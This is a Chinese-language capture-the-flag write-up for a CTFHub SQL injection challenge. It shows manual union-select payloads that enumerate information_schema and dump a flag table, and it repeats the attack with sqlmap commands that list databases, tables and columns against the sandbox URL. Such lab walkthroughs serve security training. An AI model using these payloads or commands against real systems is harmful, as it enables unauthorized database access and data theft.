解法1——手注
我们启动环境之后
根据题目指示我们输入一个1
然后我们使用order by 语句查询有多少列
有两列
然后我们可以通过 联合查询 查库名 表名 列名
查询库名
-1 union select 1,group_concat(schema_name) from information_schema.schemata
查询表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
查询列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
最后就是爆字段
-1 union select 1,group_concat(flag) from flag
解法2——用SQLmap工具解开
sqlmap直接运行不了的的 前面加个python 然后是sqlmap.py
-u后面接的URL --batch -dbs就是爆库 -o类似与一键优化运行速度
sqlmap -u http://challenge-a0a8ff09062ae5aa.sandbox.ctfhub.com:10800/?id=1 --batch -dbs -o
我们可以看到有注入点 他自动动注入
然后我就可以开始爆表 -D 后面接指定库名 --tables就是爆库的表
sqlmap -u http://challenge-a0a8ff09062ae5aa.sandbox.ctfhub.com:10800/?id=1 --batch -D sqli --tables -o
接下来就是爆列了
sqlmap -u http://challenge-a0a8ff09062ae5aa.sandbox.ctfhub.com:10800/?id=1 --batch -D sqli -T flag --columns -o
发现这个列里面有字段
直接爆出字段吧
sqlmap -u http://challenge-a0a8ff09062ae5aa.sandbox.ctfhub.com:10800/?id=1 --batch -D sqli -T flag -dump -o
得到flag